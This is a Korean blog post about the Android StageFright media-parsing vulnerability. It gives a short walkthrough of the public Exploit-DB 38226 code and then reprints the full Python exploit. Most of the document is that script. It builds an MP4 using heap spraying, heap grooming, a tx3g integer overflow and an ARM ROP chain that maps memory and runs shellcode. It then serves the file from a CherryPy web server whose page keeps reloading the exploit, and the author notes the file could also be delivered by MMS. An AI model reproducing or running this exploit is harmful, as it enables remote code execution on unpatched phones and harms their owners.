[EXPLOIT] StageFright Exploit Code 분석(StageFrigt Exploit Analysis)
StageFright Vulnerability
최근 안드로이드쪽에서 핫 이슈였던 StageFright 취약점에 대해 기억하시나요? 멀티미디어를 로드하는 스테이지프라이트 구간에 취약점으로 인해 미디어를 전송하는 MMS로 사용자의 핸드폰을 감염시킬 수 있는 취약점이였습니다. MMS 이외에도 미디어를 로드하는 구간에서 다수 발생할 수 있는 취약점이였었죠.. 나름 크게 이슈가 있던 취약점이라 따로 포스팅도 했었습니다. 보시면 대충 어떤 취약점이구나.. 라고 알 수 있습니다.
아무튼 이 취약점이 최근에 Google Security 팀으로부터 공격코드가 공개되었다고 하고 9/17일자로 Exploit-db에 EDB-ID 38226 으로 공격코드가 등록되었습니다.
Exploit-db Link : https://www.exploit-db.com/exploits/38226/
해당 Exploit code 에 대해 간단하게 분석해보도록 하겠습니다.
일단 code의 정상적인 실행을 위해서는 python package 설치가 필요합니다. (pwntools, cherrypy) pip를 통해 설치해줍니다.
pip install pwntools
pip install cherrypy
실행과 동시에 Main 부분부터 천천히 살펴볼까합니다. 크게 4가지 동작부분으로 구분하여 볼 수 있습니다.
1. shellcode.bin 파일을 load 하여 tmp 변수 삽입(exploit code 에 추가하기 위한 사전 작업)
with open('shellcode.bin', 'rb') as tmp:
shellcode = tmp.read()
while len(shellcode) % 4 != 0:
shellcode += '\x00'
2. exploit.mp4 파일을 write 권한으로 생성 / Exploit_Server(), Cherrypy를 통해 mp4 파일을 서버에 게시
def main():
find_rop_gadgets('libc.so')
with open('exploit.mp4', 'wb') as tmp:
tmp.write(exploit_mp4())
cherrypy.quickstart(ExploitServer())
3. exploit_mp4()에서 실제 공격코드를 통해 Exploit 이 담긴 mp4 생성
def exploit_mp4():
ftyp = chunk("ftyp","69736f6d0000000169736f6d".decode("hex"))
trak = ''
trak += sample_table(heap_spray(spray_size) * spray_count)
trak += alloc_avcc(8)
trak += alloc_hvcc(8)
# | tx3g | MPEG4DataSource | pssh |
overflow = 'A' * 24
# | tx3g ----------------> | pssh |
overflow += p32(spray_address) # MPEG4DataSource vtable ptr
overflow += '0' * 0x48
overflow += '0000' # r4
overflow += '0000' # r5
overflow += '0000' # r6
overflow += '0000' # r7
overflow += '0000' # r8
overflow += '0000' # r9
overflow += '0000' # r10
overflow += '0000' # r11
overflow += '0000' # r12
overflow += p32(spray_address + 0x20) # sp
overflow += p32(pop_pc) # lr
trak += chunk("tx3g", overflow)
...snip...
힙스프레이를 위해 overflow 변수에 A로 채워나가고 스프레이 포인터주소를 넣고 0으로 채우는 등의 코드를 통해 악성파일을 생성합니다. 공격코드의 가장 핵심부분이 되겠죠. (아래 원문코드에서 주석보시면 편해요)
4. Cherrypy 를 통해[Exploit_Server class] 공격 mp4 파일을 임시 서버에 업로드
class ExploitServer(object):
exploit_file = None
exploit_count = 0
@cherrypy.expose
def index(self):
self.exploit_count += 1
print '*' * 80
print 'exploit attempt: ' + str(self.exploit_count)
print '*' * 80
return index_page
@cherrypy.expose(["exploit.mp4"])
def exploit(self):
cherrypy.response.headers['Content-Type'] = 'video/mp4'
cherrypy.response.headers['Content-Encoding'] = 'gzip'
if self.exploit_file is None:
exploit_uncompressed = exploit_mp4()
with open('exploit_uncompressed.mp4', 'wb') as tmp:
tmp.write(exploit_uncompressed)
os.system('gzip exploit_uncompressed.mp4')
with open('exploit_uncompressed.mp4.gz', 'rb') as tmp:
self.exploit_file = tmp.read()
os.system('rm exploit_uncompressed.mp4.gz')
return self.exploit_file
Cherrypy 모듈을 통해 Exploit_Server Class를 읽어와 video/mp4 의 content-type으로 제공합니다. 일반 웹서버 기능과 유사하지요, 저 부분을 제외하고 생성된 mp4 파일을 가지고 바로 웹 서버에 올리거나, MMS를 통해 전송하여 공격에 시도할 수 있겠네요.
더 원리적인 분석을 하고싶으나.. 시간이 많이 없네요… 공격코드 전문은 Exploit-db 공식 홈페이지 및 아래 코드로 확인할 수 있습니다.
공격코드 전문(Attack Code full ver. - exploit-db#38226)
StageFright Exploit Code - [Python]
# cat stagefright.py
#!/usr/bin/python2
import cherrypy
import os
import pwnlib.asm as asm
import pwnlib.elf as elf
import sys
import struct
with open('shellcode.bin', 'rb') as tmp:
shellcode = tmp.read()
while len(shellcode) % 4 != 0:
shellcode += '\x00'
# heap grooming configuration
alloc_size = 0x20
groom_count = 0x4
spray_size = 0x100000
spray_count = 0x10
# address of the buffer we allocate for our shellcode
mmap_address = 0x90000000
# addresses that we need to predict
libc_base = 0xb6ebd000
spray_address = 0xb3000000
# ROP gadget addresses
stack_pivot = None
pop_pc = None
pop_r0_r1_r2_r3_pc = None
pop_r4_r5_r6_r7_pc = None
ldr_lr_bx_lr = None
ldr_lr_bx_lr_stack_pad = 0
mmap64 = None
memcpy = None
def find_arm_gadget(e, gadget):
gadget_bytes = asm.asm(gadget, arch='arm')
gadget_address = None
for address in e.search(gadget_bytes):
if address % 4 == 0:
gadget_address = address
if gadget_bytes == e.read(gadget_address, len(gadget_bytes)):
print asm.disasm(gadget_bytes, vma=gadget_address, arch='arm')
break
return gadget_address
def find_thumb_gadget(e, gadget):
gadget_bytes = asm.asm(gadget, arch='thumb')
gadget_address = None
for address in e.search(gadget_bytes):
if address % 2 == 0:
gadget_address = address + 1
if gadget_bytes == e.read(gadget_address - 1, len(gadget_bytes)):
print asm.disasm(gadget_bytes, vma=gadget_address-1, arch='thumb')
break
return gadget_address
def find_gadget(e, gadget):
gadget_address = find_thumb_gadget(e, gadget)
if gadget_address is not None:
return gadget_address
return find_arm_gadget(e, gadget)
def find_rop_gadgets(path):
global memcpy
global mmap64
global stack_pivot
global pop_pc
global pop_r0_r1_r2_r3_pc
global pop_r4_r5_r6_r7_pc
global ldr_lr_bx_lr
global ldr_lr_bx_lr_stack_pad
e = elf.ELF(path)
e.address = libc_base
memcpy = e.symbols['memcpy']
print '[*] memcpy : 0x{:08x}'.format(memcpy)
mmap64 = e.symbols['mmap64']
print '[*] mmap64 : 0x{:08x}'.format(mmap64)
# .text:00013344 ADD R2, R0, #0x4C
# .text:00013348 LDMIA R2, {R4-LR}
# .text:0001334C TEQ SP, #0
# .text:00013350 TEQNE LR, #0
# .text:00013354 BEQ botch_0
# .text:00013358 MOV R0, R1
# .text:0001335C TEQ R0, #0
# .text:00013360 MOVEQ R0, #1
# .text:00013364 BX LR
pivot_asm = ''
pivot_asm += 'add r2, r0, #0x4c\n'
pivot_asm += 'ldmia r2, {r4 - lr}\n'
pivot_asm += 'teq sp, #0\n'
pivot_asm += 'teqne lr, #0'
stack_pivot = find_arm_gadget(e, pivot_asm)
print '[*] stack_pivot : 0x{:08x}'.format(stack_pivot)
pop_pc_asm = 'pop {pc}'
pop_pc = find_gadget(e, pop_pc_asm)
print '[*] pop_pc : 0x{:08x}'.format(pop_pc)
pop_r0_r1_r2_r3_pc = find_gadget(e, 'pop {r0, r1, r2, r3, pc}')
print '[*] pop_r0_r1_r2_r3_pc : 0x{:08x}'.format(pop_r0_r1_r2_r3_pc)
pop_r4_r5_r6_r7_pc = find_gadget(e, 'pop {r4, r5, r6, r7, pc}')
print '[*] pop_r4_r5_r6_r7_pc : 0x{:08x}'.format(pop_r4_r5_r6_r7_pc)
ldr_lr_bx_lr_stack_pad = 0
for i in range(0, 0x100, 4):
ldr_lr_bx_lr_asm = 'ldr lr, [sp, #0x{:08x}]\n'.format(i)
ldr_lr_bx_lr_asm += 'add sp, sp, #0x{:08x}\n'.format(i + 8)
ldr_lr_bx_lr_asm += 'bx lr'
ldr_lr_bx_lr = find_gadget(e, ldr_lr_bx_lr_asm)
if ldr_lr_bx_lr is not None:
ldr_lr_bx_lr_stack_pad = i
break
def pad(size):
return '#' * size
def pb32(val):
return struct.pack(">I", val)
def pb64(val):
return struct.pack(">Q", val)
def p32(val):
return struct.pack("<I", val)
def p64(val):
return struct.pack("<Q", val)
def chunk(tag, data, length=0):
if length == 0:
length = len(data) + 8
if length > 0xffffffff:
return pb32(1) + tag + pb64(length)+ data
return pb32(length) + tag + data
def alloc_avcc(size):
avcc = 'A' * size
return chunk('avcC', avcc)
def alloc_hvcc(size):
hvcc = 'H' * size
return chunk('hvcC', hvcc)
def sample_table(data):
stbl = ''
stbl += chunk('stco', '\x00' * 8)
stbl += chunk('stsc', '\x00' * 8)
stbl += chunk('stsz', '\x00' * 12)
stbl += chunk('stts', '\x00' * 8)
stbl += data
return chunk('stbl', stbl)
def memory_leak(size):
pssh = 'leak'
pssh += 'L' * 16
pssh += pb32(size)
pssh += 'L' * size
return chunk('pssh', pssh)
def heap_spray(size):
pssh = 'spry'
pssh += 'S' * 16
pssh += pb32(size)
page = ''
nop = asm.asm('nop', arch='thumb')
while len(page) < 0x100:
page += nop
page += shellcode
while len(page) < 0xed0:
page += '\xcc'
# MPEG4DataSource fake vtable
page += p32(stack_pivot)
# pivot swaps stack then returns to pop {pc}
page += p32(pop_r0_r1_r2_r3_pc)
# mmap64(mmap_address,
# 0x1000,
# PROT_READ | PROT_WRITE | PROT_EXECUTE,
# MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS,
# -1,
# 0);
page += p32(mmap_address) # r0 = address
page += p32(0x1000) # r1 = size
page += p32(7) # r2 = protection
page += p32(0x32) # r3 = flags
page += p32(ldr_lr_bx_lr) # pc
page += pad(ldr_lr_bx_lr_stack_pad)
page += p32(pop_r4_r5_r6_r7_pc) # lr
page += pad(4)
page += p32(0x44444444) # r4
page += p32(0x55555555) # r5
page += p32(0x66666666) # r6
page += p32(0x77777777) # r7
page += p32(mmap64) # pc
page += p32(0xffffffff) # fd (and then r4)
page += pad(4) # padding (and then r5)
page += p64(0) # offset (and then r6, r7)
page += p32(pop_r0_r1_r2_r3_pc) # pc
# memcpy(shellcode_address,
# spray_address + len(rop_stack),
# len(shellcode));
page += p32(mmap_address) # r0 = dst
page += p32(spray_address - 0xed0) # r1 = src
page += p32(0xed0) # r2 = size
page += p32(0x33333333) # r3
page += p32(ldr_lr_bx_lr) # pc
page += pad(ldr_lr_bx_lr_stack_pad)
page += p32(pop_r4_r5_r6_r7_pc) # lr
page += pad(4)
page += p32(0x44444444) # r4
page += p32(0x55555555) # r5
page += p32(0x66666666) # r6
page += p32(0x77777777) # r7
page += p32(memcpy) # pc
page += p32(0x44444444) # r4
page += p32(0x55555555) # r5
page += p32(0x66666666) # r6
page += p32(0x77777777) # r7
page += p32(mmap_address + 1) # pc
while len(page) < 0x1000:
page += '#'
pssh += page * (size // 0x1000)
return chunk('pssh', pssh)
def exploit_mp4():
ftyp = chunk("ftyp","69736f6d0000000169736f6d".decode("hex"))
trak = ''
# heap spray so we have somewhere to land our corrupted vtable
# pointer
# yes, we wrap this in a sample_table for a reason; the
# NuCachedSource we will be using otherwise triggers calls to mmap,
# leaving our large allocations non-contiguous and making our chance
# of failure pretty high. wrapping in a sample_table means that we
# wrap the NuCachedSource with an MPEG4Source, making a single
# allocation that caches all the data, doubling our heap spray
# effectiveness :-)
trak += sample_table(heap_spray(spray_size) * spray_count)
# heap groom for our MPEG4DataSource corruption
# get the default size allocations for our MetaData::typed_data
# groom allocations out of the way first, by allocating small blocks
# instead.
trak += alloc_avcc(8)
trak += alloc_hvcc(8)
# we allocate the initial tx3g chunk here; we'll use the integer
# overflow so that the allocated buffer later is smaller than the
# original size of this chunk, then overflow all of the following
# MPEG4DataSource object and the following pssh allocation; hence why
# we will need the extra groom allocation (so we don't overwrite
# anything sensitive...)
# | tx3g | MPEG4DataSource | pssh |
overflow = 'A' * 24
# | tx3g ----------------> | pssh |
overflow += p32(spray_address) # MPEG4DataSource vtable ptr
overflow += '0' * 0x48
overflow += '0000' # r4
overflow += '0000' # r5
overflow += '0000' # r6
overflow += '0000' # r7
overflow += '0000' # r8
overflow += '0000' # r9
overflow += '0000' # r10
overflow += '0000' # r11
overflow += '0000' # r12
overflow += p32(spray_address + 0x20) # sp
overflow += p32(pop_pc) # lr
trak += chunk("tx3g", overflow)
# defragment the for alloc_size blocks, then make our two
# allocations. we end up with a spurious block in the middle, from
# the temporary ABuffer deallocation.
# | pssh | - | pssh |
trak += memory_leak(alloc_size) * groom_count
# | pssh | - | pssh | .... | avcC |
trak += alloc_avcc(alloc_size)
# | pssh | - | pssh | .... | avcC | hvcC |
trak += alloc_hvcc(alloc_size)
# | pssh | - | pssh | pssh | avcC | hvcC | pssh |
trak += memory_leak(alloc_size) * 8
# | pssh | - | pssh | pssh | avcC | .... |
trak += alloc_hvcc(alloc_size * 2)
# entering the stbl chunk triggers allocation of an MPEG4DataSource
# object
# | pssh | - | pssh | pssh | avcC | MPEG4DataSource | pssh |
stbl = ''
# | pssh | - | pssh | pssh | .... | MPEG4DataSource | pssh |
stbl += alloc_avcc(alloc_size * 2)
# | pssh | - | pssh | pssh | tx3g | MPEG4DataSource | pssh |
# | pssh | - | pssh | pssh | tx3g ----------------> |
overflow_length = (-(len(overflow) - 24) & 0xffffffffffffffff)
stbl += chunk("tx3g", '', length = overflow_length)
trak += chunk('stbl', stbl)
return ftyp + chunk('trak', trak)
index_page = '''
<!DOCTYPE html>
<html>
<head>
<title>Stagefrightened!</title>
</head>
<body>
<script>
window.setTimeout('location.reload(true);', 4000);
</script>
<iframe src='/exploit.mp4'></iframe>
</body>
</html>
'''
class ExploitServer(object):
exploit_file = None
exploit_count = 0
@cherrypy.expose
def index(self):
self.exploit_count += 1
print '*' * 80
print 'exploit attempt: ' + str(self.exploit_count)
print '*' * 80
return index_page
@cherrypy.expose(["exploit.mp4"])
def exploit(self):
cherrypy.response.headers['Content-Type'] = 'video/mp4'
cherrypy.response.headers['Content-Encoding'] = 'gzip'
if self.exploit_file is None:
exploit_uncompressed = exploit_mp4()
with open('exploit_uncompressed.mp4', 'wb') as tmp:
tmp.write(exploit_uncompressed)
os.system('gzip exploit_uncompressed.mp4')
with open('exploit_uncompressed.mp4.gz', 'rb') as tmp:
self.exploit_file = tmp.read()
os.system('rm exploit_uncompressed.mp4.gz')
return self.exploit_file
def main():
find_rop_gadgets('libc.so')
with open('exploit.mp4', 'wb') as tmp:
tmp.write(exploit_mp4())
cherrypy.quickstart(ExploitServer())
if __name__ == '__main__':
main()